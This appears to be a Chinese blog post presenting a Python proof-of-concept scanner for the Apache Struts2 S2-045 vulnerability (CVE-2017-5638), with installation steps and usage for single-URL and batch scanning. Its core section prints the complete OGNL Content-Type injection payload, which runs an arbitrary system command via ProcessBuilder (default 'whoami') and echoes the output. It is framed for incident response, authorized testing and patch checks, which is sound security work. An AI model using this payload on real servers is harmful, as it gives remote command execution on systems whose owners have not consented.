Struts2 S2-045 远程代码执行漏洞检测工具(CVE-2017-5638)

Struts2 S2-045 远程代码执行漏洞检测工具(CVE-2017-5638)

本项目是一个针对 Apache Struts2 高危漏洞 S2-045 (CVE-2017-5638) 的 Python 检测脚本(PoC)。该漏洞源于 Struts2 的 Jakarta 插件在处理上传文件时,对异常的处理不当,导致攻击者可通过构造恶意 Content-Type 头,在受影响的服务器上执行任意系统命令。本工具旨在帮助安全人员快速、批量地检测目标系统是否存在此漏洞。

功能特性

  • 精准漏洞检测 :针对 CVE-2017-5638 漏洞,通过发送精心构造的包含 OGNL 表达式的 Content-Type 数据包,验证命令执行结果。
  • 双模式扫描 :
    • 单目标检测 :使用 -u 参数对单个 URL 进行深度检测。
    • 批量文件扫描 :使用 -f 参数加载包含多个 URL 的文本文件,实现大规模自动化检测。
  • 清晰的执行逻辑 :脚本包含命令执行验证环节,通过执行 whoami 等简单命令并回显结果,确认漏洞存在的真实性,减少误报。
  • 环境适应性提示:考虑到网络延迟,代码中包含了超时时间的调整建议,方便用户根据实际网络环境优化检测效果。

安装指南

系统要求

  • Python 2.x 或 Python 3.x
  • 网络连接(用于发送HTTP请求)

安装步骤

  1. 下载脚本 :将 poc.py 脚本保存到本地目录。

  2. 安装依赖 : 本脚本主要依赖 Python 标准库,无需额外安装第三方包。如果运行环境提示缺少模块,请确保已安装 requests 库:

    bash 复制代码
    pip install requests
    # 或使用 pip3
    pip3 install requests

使用说明

基础使用示例

1. 单个目标检测

检测单个 URL 是否存在 S2-045 漏洞。脚本将尝试执行 whoami 命令并返回结果。

bash 复制代码
python poc.py -u http://example.com
2. 批量文件检测

准备一个 url.txt 文件,每行包含一个待检测的 URL。脚本将遍历列表进行检测,并输出存在漏洞的目标。

bash 复制代码
python poc.py -f url.txt

url.txt 文件内容示例:

bash 复制代码
http://target1.com
http://target2.com:8080
https://target3.com/app

典型使用场景

  • 安全应急响应:企业内部或爆发安全事件时,快速排查大量 Struts2 应用服务器是否受影响。
  • 渗透测试:在授权测试中,用于初步的信息收集和漏洞探测。
  • 环境自检:开发或运维人员在修复漏洞后,使用该工具验证补丁是否生效。

核心代码解析

以下是脚本的核心检测逻辑,展示了如何构造恶意数据包并验证漏洞。

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import sys

def poc(url):
    """
    S2-045 漏洞检测核心函数
    :param url: 目标URL
    :return: 存在漏洞返回命令执行结果,否则返回None
    """
    # 恶意Payload,通过Content-Type头注入OGNL表达式
    # 该表达式会执行 'whoami' 命令并返回结果
    payload = "%{(#test='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='whoami')."  # 此处为要执行的系统命令
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': payload  # 将恶意Payload放入Content-Type头
    }

    try:
        # 发送POST请求,超时时间可根据网络情况调整
        # 注意:网络环境不同可能会遇到超时情况,自行调整timeout时间即可
        response = requests.post(url, headers=headers, timeout=10)
        # 如果响应内容不为空,且不是Struts2的错误页面特征,则大概率存在漏洞并返回命令结果
        if response.text and "org.apache.struts2" not in response.text:
            print(f"[+] 漏洞存在: {url}")
            print(f"[+] 命令执行结果: {response.text.strip()}")
            return response.text
        else:
            print(f"[-] 漏洞不存在: {url}")
    except requests.exceptions.Timeout:
        print(f"[!] 请求超时: {url}")
    except Exception as e:
        print(f"[!] 请求出错: {url}, 错误: {e}")

if __name__ == "__main__":
    if len(sys.argv) == 3 and sys.argv[1] == "-u":
        # 单目标模式
        poc(sys.argv[2])
    elif len(sys.argv) == 3 and sys.argv[1] == "-f":
        # 批量模式
        with open(sys.argv[2], 'r') as f:
            for line in f.readlines():
                target = line.strip()
                if target:
                    poc(target)
    else:
        print("""
使用方法:
    批量检测: python poc.py -f url.txt
    单个检测: python poc.py -u https://your-ip
        """)

6HFtX5dABrKlqXeO5PUv/3TeOIgRNMwyo3o9PgifjmVpNHoux6xe8ap5gebhiZOz

相关推荐
奈落245 分钟前
Codex 并进 ChatGPT 之后,“编程智能体“是变浅了还是变顺了:从官方概览页的功能分工到五家公司开发者反馈,读一次产品化合并的得与失
人工智能·chatgpt·工作流·ai 编程
qq_252941316811 分钟前
伊蚊检测数据集 | 伊蚊检测 病媒生物 公共卫生 目标检测9304期
人工智能·yolo·目标检测·计算机视觉·蚊子·尹蚊
程序员柒叔16 分钟前
Diagram Design 解构:45 种图型如何用语义路由与 SVG 质量门交付
人工智能·github·agent·skills
QXWZ_IA16 分钟前
无人机自主巡检从半自动到全闭环的阶段划分与定位要求
人工智能·安全·无人机
YYYing.18 分钟前
【Agent系列 (十一) 】上下文工程
人工智能·python·ai·agent·上下文工程
计算机毕业编程指导师22 分钟前
基于深度学习的光伏组件红外图像缺陷识别系统设计与实现
人工智能·python·深度学习·目标检测·毕业设计·课程设计·光伏
m4Rk_25 分钟前
【论文阅读】Agent 记忆机制(119):EvoLife——让具身 Agent 把主动问到的答案沉淀为可复用的空间经验
论文阅读·人工智能·学习·开源·github
QuZhengRong42 分钟前
【News】2026-11-03 AI 科技早报 | 美团发布 LongCat-2.5
人工智能·科技·美团·大厂·早报
闭包不眠1 小时前
批量压缩视频先分组,HandBrake等3种方法(2026)
图像处理·人工智能·计算机视觉·音视频
Autumn_ing1 小时前
Pixso AI 如何按团队设计规范生成 UI?以消息设置页说明选库与验收
人工智能·ui·设计规范·pixso